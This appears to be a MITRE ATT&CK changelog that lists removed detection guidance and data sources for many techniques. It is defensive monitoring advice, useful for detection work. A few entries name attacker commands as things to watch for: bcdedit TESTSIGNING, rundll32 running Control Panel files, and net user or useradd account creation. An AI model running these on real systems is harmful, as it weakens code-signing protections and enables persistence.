| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Deletion', 'File: File Modification', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:56:45.103000+00:00 | 2025-10-24 17:48:34.441000+00:00 |
| x_mitre_detection | File system monitoring may be used to detect improper deletion or modification of indicator files. Also monitor for suspicious processes interacting with log files. |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'File: File Deletion', 'Process: OS API Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:36.700000+00:00 | 2025-10-24 17:48:52.287000+00:00 |
| x_mitre_detection | Deleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft Clear-EventLog)) may also generate an alterable event (Event ID 1102: "The audit log was cleared"). |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:57:34.604000+00:00 | 2025-10-24 17:48:58.431000+00:00 |
| x_mitre_detection | Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) + +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:57:50.289000+00:00 | 2025-10-24 17:48:36.079000+00:00 |
| x_mitre_detection | Access to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity. |
Current version: 1.6
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['User Account: User Account Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:01:16.589000+00:00 | 2025-10-24 17:49:09.917000+00:00 |
| x_mitre_detection | Collect usage logs from cloud user and administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:00:56.981000+00:00 | 2025-10-24 17:49:05.745000+00:00 |
| x_mitre_detection | Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery. + +System and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. |
Current version: 1.1
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:01:31.837000+00:00 | 2025-10-24 17:49:06.502000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)). |
Current version: 1.9
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['User Account: User Account Authentication', 'Logon Session: Logon Session Metadata', 'Logon Session: Logon Session Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:20.556000+00:00 | 2025-10-24 17:49:35.682000+00:00 |
| x_mitre_detection | Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours. |
Current version: 1.1
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:01:54.640000+00:00 | 2025-10-24 17:48:41.215000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)). |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Application Log: Application Log Content', 'Process: Process Creation', 'Group: Group Metadata', 'Group: Group Enumeration'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:02:13.319000+00:00 | 2025-10-24 17:48:26.982000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Instance: Instance Enumeration', 'Cloud Storage: Cloud Storage Enumeration', 'Volume: Volume Enumeration', 'Snapshot: Snapshot Enumeration'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:02:30.057000+00:00 | 2025-10-24 17:48:49.479000+00:00 |
| x_mitre_detection | Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users and enumerations from unknown or malicious IP addresses. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['User Account: User Account Authentication'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:02:45.218000+00:00 | 2025-10-24 17:48:27.965000+00:00 |
| x_mitre_detection | Monitor access to the Instance Metadata API and look for anomalous queries. + +It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078). |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Logon Session: Logon Session Creation', 'User Account: User Account Authentication'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:16.288000+00:00 | 2025-10-24 17:49:32.022000+00:00 |
| x_mitre_detection | Monitor account activity logs to see actions performed and activity associated with the cloud service management console. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.(Citation: AWS Console Sign-in Events) |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Cloud Service: Cloud Service Enumeration', 'Logon Session: Logon Session Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:03:24.903000+00:00 | 2025-10-24 17:49:30.791000+00:00 |
| x_mitre_detection | Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + +Normal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment. |
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Cloud Storage: Cloud Storage Access', 'Cloud Storage: Cloud Storage Enumeration'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:04:12.682000+00:00 | 2025-10-24 17:49:03.853000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. +Monitor cloud logs for API calls used for file or object enumeration for unusual activity. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content', 'Logon Session: Logon Session Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:04:59.867000+00:00 | 2025-10-24 17:49:25.081000+00:00 |
| x_mitre_detection | Monitor access to code repositories, especially performed by privileged users such as Active Directory Domain or Enterprise Administrators as these types of accounts should generally not be used to access code repositories. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user-based anomalies. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:04:43.188000+00:00 | 2025-10-24 17:48:56.790000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:16.240000+00:00 | 2025-10-24 17:48:37.098000+00:00 |
| x_mitre_detection | Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Malware Repository: Malware Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:05:55.035000+00:00 | 2025-10-24 17:48:37.738000+00:00 |
| x_mitre_detection | Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004). |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Malware Repository: Malware Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:05:19.685000+00:00 | 2025-10-24 17:49:32.891000+00:00 |
| x_mitre_detection | Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004). |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:33.055000+00:00 | 2025-10-24 17:48:48.927000+00:00 |
| x_mitre_detection | Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as bcdedit.exe -set TESTSIGNING ON.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as HKCU\Software\Policies\Microsoft\Windows NT\Driver Signing. Modifications to the code signing policy of a system are likely to be rare. |
Current version: 2.6
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Script: Script Execution', 'Process: Process Creation', 'Process: Process Metadata', 'Module: Module Load', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:41.855000+00:00 | 2025-10-24 17:48:57.520000+00:00 |
| x_mitre_detection | Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages. + +If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. + +Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. |
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Drive: Drive Creation', 'Drive: Drive Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:06:39.028000+00:00 | 2025-10-24 17:48:52.106000+00:00 |
| x_mitre_detection | Monitor file access on removable media. Detect processes that execute when removable media is mounted. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'Process: Process Creation', 'File: File Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:06.564000+00:00 | 2025-10-24 17:49:22.358000+00:00 |
| x_mitre_detection | Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development. |
Current version: 2.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Process: Process Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:56.001000+00:00 | 2025-10-24 17:49:11.609000+00:00 |
| x_mitre_detection | Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques. + +Monitor presence and use of CHM files, especially if they are not typically used within an environment. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Firmware: Firmware Modification', 'Process: OS API Execution', 'Driver: Driver Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:43.347000+00:00 | 2025-10-24 17:48:59.147000+00:00 |
| x_mitre_detection | Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) disk monitoring may reveal malicious manipulations of components.(Citation: SanDisk SMART)(Citation: SmartMontools) Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms. + +Disk check and forensic utilities may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) Also consider comparing components, including hashes of component firmware and behavior, against known good images. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Module: Module Load', 'Script: Script Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:46:14.161000+00:00 | 2025-10-24 17:48:35.814000+00:00 |
| x_mitre_detection | Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) + +Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Persona: Social Media', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:07:30.871000+00:00 | 2025-10-24 17:49:02.015000+00:00 |
| x_mitre_detection | Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Sensor Health: Host Status'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:07:50.636000+00:00 | 2025-10-24 17:48:39.693000+00:00 |
| x_mitre_detection | Perform physical inspection of hardware to look for potential tampering. Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. |
Current version: 2.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Deletion', 'File: File Modification', 'File: File Metadata', 'File: File Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:52.206000+00:00 | 2025-10-24 17:49:07.572000+00:00 |
| x_mitre_detection | Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. + +Consider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections. |
Current version: 1.6
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content', 'Domain Name: Domain Registration', 'Domain Name: Active DNS', 'Domain Name: Passive DNS', 'Internet Scan: Response Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:45.612000+00:00 | 2025-10-24 17:49:01.181000+00:00 |
| x_mitre_detection | Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. + +Once adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:08:31.739000+00:00 | 2025-10-24 17:49:18.341000+00:00 |
| x_mitre_detection | Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Logon Session: Logon Session Creation', 'Application Log: Application Log Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:09:18.055000+00:00 | 2025-10-24 17:48:59.776000+00:00 |
| x_mitre_detection | Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. + +User access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['User Account: User Account Authentication', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:09:34.621000+00:00 | 2025-10-24 17:49:38.351000+00:00 |
| x_mitre_detection | Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs. + +It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078). |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:44.024000+00:00 | 2025-10-24 17:48:59.945000+00:00 |
| x_mitre_detection | Container administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container and the underlying host. In Docker, the daemon log provides insight into events at the daemon and container service level. Kubernetes system component logs may also detect activities running in and out of containers in the cluster. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Container: Container Creation', 'Scheduled Job: Scheduled Job Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:07.487000+00:00 | 2025-10-24 17:48:25.363000+00:00 |
| x_mitre_detection | Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Pod: Pod Enumeration', 'Container: Container Enumeration'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:10:13.179000+00:00 | 2025-10-24 17:48:20.661000+00:00 |
| x_mitre_detection | Establish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level. + +Monitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:46:37.731000+00:00 | 2025-10-24 17:48:45.979000+00:00 |
| x_mitre_detection | Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014)
+
+Inventory Control Panel items to locate unregistered and potentially malicious files present on systems:
+
+* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace and HKEY_CLASSES_ROOT\CLSID\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)
+* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the CPLs and Extended Properties Registry keys of HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec("c:\windows\system32\control.exe {Canonical_Name}", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}).(Citation: Microsoft Implementing CPL)
+* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Controls Folder\{name}\Shellex\PropertySheetHandlers where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL)
+
+Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014) |
Current version: 2.6
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution', 'User Account: User Account Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:14.796000+00:00 | 2025-10-24 17:49:30.136000+00:00 |
| x_mitre_detection | Monitor for processes and command-line parameters associated with account creation, such as net user or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.
+
+Collect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Instance: Instance Creation', 'Instance: Instance Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:10:54.239000+00:00 | 2025-10-24 17:49:24.804000+00:00 |
| x_mitre_detection | The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.
+
+In AWS, CloudTrail logs capture the creation of an instance in the RunInstances event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances create to create a VM.(Citation: Cloud Audit Logs) |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:17.537000+00:00 | 2025-10-24 17:48:53.370000+00:00 |
| x_mitre_detection | If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)
+
+If an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.
+
